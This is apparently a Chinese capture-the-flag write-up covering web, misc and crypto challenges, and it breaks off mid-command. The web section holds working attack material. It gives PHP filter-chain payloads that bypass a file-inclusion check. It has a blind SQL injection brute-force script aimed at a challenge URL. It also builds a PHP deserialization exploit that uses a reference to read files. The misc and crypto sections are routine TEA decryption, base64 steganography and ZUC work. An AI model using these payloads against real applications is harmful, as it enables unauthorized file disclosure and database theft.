摸鱼选手,感谢同队师傅,学到很多。
0x00 WEB
文件包含绕过
<?php highlight_file(__FILE__); include("./check.php"); if(isset($_GET['filename'])){ $filename = $_GET['filename']; include($filename); } ?>
正常的绕过姿势都行不通,学到了新姿势。
通过iconv将utf-8编码转为utf-7编码,从而把’=’给转了,最终也就不会影响到base64的正常解码。
payload:
php://filter/convert.iconv.utf-8.utf-7/resource=flag.php
得到:
+ADw?php +ACQ-flag+AD0’flag+AHs-2973f868-91c1-449c-9f0f-fd19ba0b9b26+AH0’+ADs

也可以使用bzip2.compress协议绕过
php://filter/bzip2.compress/resource=flag.php
easiestSQLi
eds师傅tql。过滤了双引号改校内赛老八小汉堡那道题的脚本。
import requests urla = 'http://eci-2ze2wcynh47kyngodmw7.cloudeci1.ichunqiu.com/?id=if((select%0aflag%0afrom%0aflag)regexp(\'^' urlb = '\'),1,0)' strs = ['[0]','[1]','[2]','[3]','[4]','[5]','[6]','[7]','[8]','[9]','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','}','{','.'] flag = '' print(urla + flag + urlb) print(requests.get(urla+urlb).text) for i in range(40): for x in strs: url = urla + flag+ x + urlb #print(url) r = requests.get(url) if 'YES' in r.text: flag += x print(x) if x == '$': exit() break print(flag)
Soitgoes
查看源代码得到提示:

使用filter流读取try.php:
?file=php://filter/read=convert.base64-encode/resource=try.php
<?php class Seri{ public $alize; public function __construct($alize) { $this->alize = $alize; } public function __destruct(){ $this->alize->getFlag(); } } class Flag{ public $f; public $t1; public $t2; function __construct($file){ echo "Another construction!!"; $this->f = $file; $this->t1 = $this->t2 = md5(rand(1,10000)); } public function getFlag(){ $this->t2 = md5(rand(1,10000)); echo $this->t1; echo $this->t2; if($this->t1 === $this->t2) { if(isset($this->f)){ echo @highlight_file($this->f,true); } } } } ?>
使用filter流读取index.php,核心代码如下所示:
<?php error_reporting(0); $file = $_GET["file"]; $p = $_GET["p"]; if (isset($file)) { echo 'NONONO' . '<br>'; if (preg_match("/flag/", $file)) { die('HACKER GOGOGO!!!'); } @include($file); if (isset($p)) { $p = unserialize($p); } else { echo "NONONO"; } } ?>
fuzz发现存在flag.php(没有报404错误)
要想读取到flag,就要引入try.php并要传入p参数,所以构造序列化的时候要想办法执行getFlag()。
t1和t2被赋予1到10000之间随机一个数的md5值,正常情况下不能把控它们相等,所以让他们都指向一个地址。
<?php class Seri{ public $alize; public function __construct($alize) { $this->alize = $alize; } public function __destruct(){ $this->alize->getFlag(); } } class Flag{ public $f; public $t1; public $t2; function __construct($file){ echo "Another construction!!"; $this->f = $file; $this->t1 = $this->t2 = md5(rand(1,10000)); } public function getFlag(){ $this->t2 = md5(rand(1,10000)); echo $this->t1; echo $this->t2; if($this->t1 === $this->t2) { if(isset($this->f)){ echo @highlight_file($this->f,true); } } } } $a = new Flag('flag.php'); $a->t1=&$a->t2; $b = new Seri($a); echo(serialize($b)); ?>
运行后得到:
Another construction!!O:4:”Seri”:1:{s:5:”alize”;O:4:”Flag”:3:{s:1:”f”;s:8:”flag.php”;s:2:”t1″;s:32:”fd00d3474e495e7b6d5f9f575b2d7ec4″;s:2:”t2″;R:4;}}1c54985e4f95b7819ca0357c0cb9a09f1c54985e4f95b7819ca0357c0cb9a09f
取中间序列化部分给参数p,最终payload如下:
?file=try.php&p=O:4:”Seri”:1:{s:5:”alize”;O:4:”Flag”:3:{s:1:”f”;s:8:”flag.php”;s:2:”t1″;s:32:”fd00d3474e495e7b6d5f9f575b2d7ec4″;s:2:”t2″;R:4;}}
0x01 MISC
签到
用十六进制编辑器(010)打开图片发现格式应该是GIF。
想到可能有很多帧,用ps打开图片,分别保存图片的两个图层,然后用stegsolve对两个图层进行分析得到flag。

熟悉的解密
逐行翻译得到:
#!/usr/bin/env python #-*- coding: utf-8 -*- import sys from ctypes import * def encipher(v, k): y = c_uint32(v[0]) z = c_uint32(v[1]) sum = c_uint32(0) delta = 0x9e3779b9 n = 32 w = [0,0] while(n>0): sum.value += delta y.value += ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1] z.value += ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3] n -= 1 w[0] = y.value w[1] = z.value return w def encodestr(text, key): cipherList = [] text += (8 - len(text) % 8) * chr(0) for i in range(len(text)/8): v1 = 0 v2 = 0 for j in range(4): v1+= ord(text[i*8+j]) << (4-j-1)*8 v2+= ord(text[i*8+j+4]) << (4-j-1)*8 cipherList.append(encipher([v1,v2],key)) return cipherList if __name__ == "__main__": key = [11,22,33,44] flag = ? cipher = encodestr(flag1,key) #cipher = [[4018289233L, 2950320151L], [1771827478L, 493980876L], [1863284879L, 1137797599L], [2759701525L, 3957885055L], [2600866805L, 78850724L]]
查询资料得知这是TEA(微型加密算法)。
解密部分参考:https://www.coder.work/article/2106318
import sys from ctypes import * from libnum import n2s def decipher(v, k): y = c_uint32(v[0]) z = c_uint32(v[1]) sum = c_uint32(0xc6ef3720) delta = 0x9e3779b9 n = 32 w = [0,0] while(n>0): z.value -= ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3] y.value -= ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1] sum.value -= delta n -= 1 w[0] = y.value w[1] = z.value return w key = [11,22,33,44] cipher = [[4018289233L, 2950320151L], [1771827478L, 493980876L], [1863284879L, 1137797599L], [2759701525L, 3957885055L], [2600866805L, 78850724L]] for i in range(4): x,y = decipher(cipher[i],key) print n2s(x),n2s(y)

后半部分flag是base64隐写,一把梭:
import base64 def get_base64_diff_value(s1,s2): table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' res = 0 for i in range(len(s1)): if s1[i] != s2[i]: return abs(table.index(s1[i]) - table.index(s2[i])) return res def solve(): lines = open('1','r').readlines() bin_str = '' for line in lines: steg_line = line.replace('\n','') # print(steg_line) norm_line = base64.b64encode(base64.b64decode(steg_line)).decode() # print(norm_line) diff = get_base64_diff_value(steg_line,norm_line) # print(diff) pad_num = steg_line.count('=') if diff: bin_str += bin(diff)[2:].zfill(pad_num*2) else: bin_str += '0' * pad_num * 2 print(bin_str) res_str = '' for j in range(int(len(bin_str)/8)): # print(8*j,(j+1)*8) res_str+=chr(int(bin_str[8*j:(j+1)*8],2)) print(res_str[-52:]) print(base64.b64decode(res_str[-52:])) solve()
0x02 CRYPTO
zuc
查了下资料:
ZUC算法是中国自主设计的流密码算法,现已被3GPP LTE采纳为国际加密标准,即第四代移动通信加密标准。 ZUC算法是中国第一个成为国际密码标准的密码算法。
GmSSL是一个开源的密码工具箱,支持SM2/SM3/SM4/SM9/ZUC等国密(国家商用密码)算法。下载地址:https://github.com/guanzhi/GmSSL
下载真是太艰辛了QAQ,kali慎,用的ubantu。
遇到的问题+解决方法:https://blog.csdn.net/nange_nice/article/details/82182635
按照官方给的食用说明一把梭得到flag:
$ gmssl zuc -d -in